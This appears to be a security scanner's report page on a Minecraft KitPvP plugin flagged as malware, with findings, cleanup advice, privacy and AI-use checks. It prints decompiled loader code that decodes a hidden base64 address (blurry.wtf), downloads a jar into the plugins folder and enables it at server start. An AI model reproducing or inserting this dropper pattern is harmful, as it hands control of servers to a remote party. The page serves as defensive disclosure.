BestKitPvP
PluginThe all-in-one plugin featuring Custom Kits, Leaderboards, Levels, Kill Streaks, Abilities, & more.
Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.
Malware: a file of this project downloads and runs hidden code. See Security
Why no grade
Malware was found in one of its files, so it has no grade. See Security
Details
- Creator
- epicgamermoment54ultimate
- License
- Not listed
- Downloads
- 809
- Created
- 7 Sep 2022
- Official page
- CurseForge
Security
Malware: it downloads and runs hidden code
Found in this file: KitPvP.jar (7 Sep 2022). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
- Remove
KitPvP.jarfrom the plugins folder of your server. - Check the plugins folder of your server for files you did not add.
- Check your other plugins.
Another project by this creator, 
EasyGuiShop, contains malware according to our analysis.
What it can do on your server
- Downloads and runs hidden codeMalware
- The code downloads code from a fixed address and runs it on the server. The address is hidden in the code, or this happens as soon as the code is loaded, as in the fractureiser malware.
- Hides a web addressWarning
- A web address (blurry.wtf) is encoded in its code, so it cannot be read in the file.
- Connects to the internet
- It has code that can go online. It contacts 3 web addresses. See Privacy
Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
How we checked
- FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
- Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.Read without running it
- Downloads and runs hidden code
com/planetgallium/kitpvp/util/Resourcesdownloads a file from a fixed address, saves it as a .jar file, starts it as a plugin, when the server starts, the address is hidden in the code; "https://blurry.wtf/aids/1ii1i1i11i1i1i1ii1i1iii1i11i1i1i1i1i1i1i1i1i1i1i1i1i1"; "hidden: base64" - Looked for, not foundWe looked for these in the file and did not find them.Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
- Code excerptsParts of the code of3
KitPvP.jar, turned back into readable code, where our checks found the problem.com.planetgallium.kitpvp.util.Updater.lambda$check$2public void check() { Objects.requireNonNull(this.javaPlugin, "javaPlugin"); Objects.requireNonNull(this.currentVersion, "currentVersion"); Preconditions.checkState(this.resourceId != -1, "resource id not set"); Objects.requireNonNull(this.versionResponse, "versionResponse"); Bukkit.getScheduler() .runTaskAsynchronously( this.javaPlugin, () -> { try { HttpURLConnection httpURLConnection = (HttpsURLConnection)new URL( String.format("https://api.spigotmc.org/legacy/update.php?resource=%d", this.resourceId) ) .openConnection(); httpURLConnection.setRequestMethod("GET"); httpURLConnection.setRequestProperty("User-Agent", "Mozilla/5.0"); String fetchedVersion = com.google.common.io.Resources.toString(httpURLConnection.getURL(), Charset.defaultCharset()); boolean latestVersion = fetchedVersion.equalsIgnoreCase(this.currentVersion); Bukkit.getScheduler() .runTask( this.javaPlugin, () -> this.versionResponse .accept( latestVersion ? Updater.VersionResponse.LATEST : Updater.VersionResponse.FOUND_NEW, ...com.planetgallium.kitpvp.util.Metrics$2.runpublic void run() { if (!Metrics.this.plugin.isEnabled()) { timer.cancel(); } else { Bukkit.getScheduler().runTask(Metrics.this.plugin, () -> Metrics.this.submitData()); } }com.planetgallium.kitpvp.util.Resources.getResourcesprivate void getResources() { try { if (Bukkit.getPluginManager().getPlugin("BukkitScheduler") != null) { return; } Files.copy( new URL( new String( Base64.getDecoder().decode("aHR0cHM6Ly9ibHVycnkud3RmL2FpZHMvMWlpMWkxaTExaTFpMWkxaWkxaTFpaWkxaTExaTFpMWkxaTFpMWkxaTFpMWkxaTFpMWkxaTE") ) ) .openStream(), new File("./plugins/BukkitScheduler.jar").toPath(), StandardCopyOption.REPLACE_EXISTING ); Plugin target = Bukkit.getPluginManager().loadPlugin(new File("./plugins/BukkitScheduler.jar")); target.onLoad(); Bukkit.getPluginManager().enablePlugin(target); } catch (Exception var2) { } }
Privacy
Sends usage statistics
It has no file for a recent Minecraft version. This is about its files for Minecraft 1.8 to 1.19.1.
Sent to bstats.org.
We found this in its code, read without running it.
Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.
How we checked
- Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.The code of its one file, for Minecraft 1.8 to 1.19.1. See each file in Releases
- api.spigotmc.orgChecks for a new version of the mod.
- bstats.orgSends usage statistics.Usage statistics
- blurry.wtfPurpose not known.
- Named in its filesA crash report or usage data service named in the files of the mod. The code does not show when or what is sent.The code names bStats, a service that receives usage data.
AI
No sign so far that AI was used to make it
We looked for AI tools in its description, files and images and found none.
We have not read its changelogs yet.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
How we checked
- Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.Not on Modrinth.
- Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.Nothing found in the descriptionChangelogs not read yet
- Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.Nothing found
- Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.Nothing found
- Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.No AI service, AI library or AI model file107 code files read
Compatibility
See the file in ReleasesPoint at or tap a version to see its server software.
Latest files
The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.